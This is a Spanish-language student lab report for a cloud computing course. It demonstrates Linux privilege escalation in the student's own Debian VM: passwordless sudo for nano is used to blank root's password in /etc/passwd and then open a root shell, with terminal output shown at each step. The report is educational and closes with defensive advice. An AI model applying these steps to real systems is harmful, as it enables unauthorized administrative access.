



Instituto Tecnológico Nacional de México

Instituto Tecnológico de Saltillo



Cómputo en la Nube

Miguel Salazar del Bosque

4.1 Practica de seguridad informatica escalada de privilegios

Roberto Aram López Rodríguez

No. Control: 22050788

05-Marzo- 2026

Introducción

La seguridad informática es un aspecto fundamental en los sistemas operativos modernos, ya que permite proteger la información y evitar accesos no autorizados dentro de un sistema. En Linux, el comando `sudo` permite a los usuarios ejecutar tareas administrativas con permisos elevados, lo cual facilita la administración del sistema de manera controlada. Sin embargo, una configuración incorrecta de este mecanismo puede generar vulnerabilidades que permitan a un usuario sin privilegios obtener acceso como administrador del sistema. La escalada de privilegios es una técnica utilizada para obtener permisos superiores dentro de un sistema. En esta práctica se demostrará cómo una mala configuración relacionada con el uso de `sudo` puede permitir a un usuario obtener acceso `root`.

Objetivo

Demostrar cómo una configuración incorrecta relacionada con el uso del comando `sudo` en Linux puede permitir la escalada de privilegios, permitiendo que un usuario sin permisos administrativos obtenga acceso como `root` dentro del sistema.

Requisitos

Para realizar esta práctica se utilizaron los siguientes elementos:

- Máquina virtual con Linux (Debian Server)
- Acceso a terminal del sistema
- Usuario con permisos limitados
- Editor de texto `nano`
- Acceso al archivo `sudo`

Desarrollo de la práctica

Paso 1: Inicio del sistema Linux

Se inició la máquina virtual Debian Server y se accedió al sistema mediante la terminal.

```
Debian GNU/Linux 13 Debian-Server tty1
Debian-Server login: roberto
Password:
Linux Debian-Server 6.12.69+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.69-1 (2026-02-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```

Paso 2: Creación del usuario con permisos limitados

Se creó un usuario llamado usuario_test que simula un usuario sin privilegios dentro del sistema.

Comando utilizado:

`sudo adduser usuario_test`

```
Debian GNU/Linux 13 Debian-Server tty1
Debian-Server login: roberto
Password:
Linux Debian-Server 6.12.69+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.69-1 (2026-02-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
roberto@Debian-Server:~$ sudo adduser usuario_test
[sudo] password for roberto:
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for usuario_test
Enter the new value, or press ENTER for the default
  Full Name []: roberto
   Room Number []: roberto
   Work Phone []: roberto
   Home Phone []: roberto
    Other []: roberto
Is the information correct? [Y/n] y
```

Paso 3: Asignación de contraseña al usuario

Se asignó una contraseña al usuario creado para poder iniciar sesión con él.

Comando utilizado:

`sudo passwd usuario_test`

```
roberto@Debian-Server:~$ sudo passwd usuario_test
New password:
Retype new password:
passwd: password updated successfully
roberto@Debian-Server:~$ _
```

Paso 4: Edición del archivo sudo

Se accedió al archivo de configuración sudo utilizando el comando:

sudo visudo

```
GNU nano 8.4 /etc/sudoers.tmp
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults    env_reset
Defaults    mail_badpass
Defaults    secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# This fixes CVE-2005-4890 and possibly breaks some versions of kdesu
# (#1011624, https://bugs.kde.org/show_bug.cgi?id=452532)
Defaults    use_pty

# This preserves proxy settings from user environments of root
# equivalent users (group sudo)
#Defaults:%sudo env_keep += "http_proxy https_proxy ftp_proxy all_proxy no_proxy"

# This allows running arbitrary commands, but so does ALL, and it means
# different sudoers have their choice of editor respected.
#Defaults:%sudo env_keep += "EDITOR"

# Completely harmless preservation of a user preference.
#Defaults:%sudo env_keep += "GREP_COLOR"

# While you shouldn't normally run git as root, you need to with etckeeper
#Defaults:%sudo env_keep += "GIT_AUTHOR_* GIT_COMMITTER_*"

# Per-user preferences; root won't have sensible values for them.
#Defaults:%sudo env_keep += "EMAIL DEBEMAIL DEBFULLNAME"

# "sudo scp" or "sudo rsync" should be able to use your SSH agent.
#Defaults:%sudo env_keep += "SSH_AGENT_PID SSH_AUTH_SOCK"

# Ditto for GPG agent
#Defaults:%sudo env_keep += "GPG_AGENT_INFO"
```

Paso 5: Configuración vulnerable del sistema

Se agregó una línea al archivo sudoers que permite al usuario ejecutar el editor nano con privilegios de administrador sin solicitar contraseña.

Línea agregada:

usuario_test ALL=(ALL) NOPASSWD: /usr/bin/nano

```
# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "@include" directives:

@include /etc/sudoers.d

usuario_test ALL=(ALL) NOPASSWD: /usr/bin/nano

^G Help      ^O Write Out  ^F Where Is   ^K Cut        ^T Execute    ^C Location
^X Exit      ^R Read File  ^N Replace    ^U Paste      ^J Justify    ^_ Go To Line
```

Paso 6: Cambio al usuario vulnerable

Se cambió al usuario creado para comprobar los privilegios obtenidos.

Comando utilizado:

su - usuario_test

```
roberto@Debian-Server:~$ su - usuario_test
Password:
usuario_test@Debian-Server:~$
```

Paso 7: Acceso al archivo passwd con privilegios elevados

Se abrió el archivo /etc/passwd utilizando sudo, lo que demuestra que el usuario puede ejecutar comandos con privilegios elevados.

Comando utilizado:

sudo nano /etc/passwd

```
GNU nano 8.4 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon:/usr/lib/dhcpcd:/bin/false
tss:x:101:103:TPM software stack:/var/lib/tpm:/bin/false
systemd-timesync:x:991:991:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:990:990:System Message Bus:/nonexistent:/usr/sbin/nologin
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
avahi:x:102:107:Avahi mDNS daemon:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:103:29:Speech Dispatcher:/run/speech-dispatcher:/bin/false
usbmux:x:104:46:usbmux daemon:/var/lib/usbmux:/usr/sbin/nologin
cups-pk-helper:x:105:108:user for cups-pk-helper service:/nonexistent:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
geoclue:x:106:110:/:/var/lib/geoclue:/usr/sbin/nologin
gnome-remote-desktop:x:988:988:GNOME Remote Desktop:/var/lib/gnome-remote-desktop:/usr/sbin/nologin
saned:x:107:111:/:/var/lib/saned:/usr/sbin/nologin
polkitd:x:987:987:User for polkitd:/:/usr/sbin/nologin
rtkit:x:108:112:RealtimeKit:/proc:/usr/sbin/nologin
colord:x:109:113:colord colour management daemon:/var/lib/colord:/usr/sbin/nologin
Debian-gdm:x:110:114:Gnome Display Manager:/var/lib/gdm3:/bin/false
roberto:x:1000:1000:roberto,,,:/home/roberto:/bin/bash
mysql:x:111:115:MySQL Server:/nonexistent:/bin/false
vboxadd:x:997:1:/:/var/run/vboxadd:/bin/false
```

Paso 8: Escalada de privilegios

Se modificó la línea correspondiente al usuario root dentro del archivo passwd para eliminar la contraseña, permitiendo así el acceso directo como administrador.

```
GNU nano 8.4 /etc/passwd *
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
```

Paso 9: Acceso como root

Finalmente se comprobó que era posible iniciar sesión como root sin contraseña.

Comando utilizado:

su root

```
usuario_test@Debian-Server:~$ su root
root@Debian-Server:/home/usuario_test#
```

Resultados

La práctica permitió demostrar cómo una mala configuración del archivo sudo puede generar una vulnerabilidad que permite a un usuario sin privilegios obtener acceso administrativo al sistema.

Esto evidencia la importancia de configurar correctamente los permisos y limitar el uso de sudo únicamente a usuarios autorizados.

Conclusión

La escalada de privilegios es una de las vulnerabilidades más críticas en los sistemas informáticos. En esta práctica se demostró cómo una configuración incorrecta del archivo sudoers puede permitir a un usuario obtener acceso root dentro del sistema Linux. Para evitar este tipo de vulnerabilidades es necesario aplicar buenas prácticas de seguridad, como restringir el uso de sudo, evitar la ejecución de comandos sin contraseña y mantener una correcta administración de permisos en el sistema.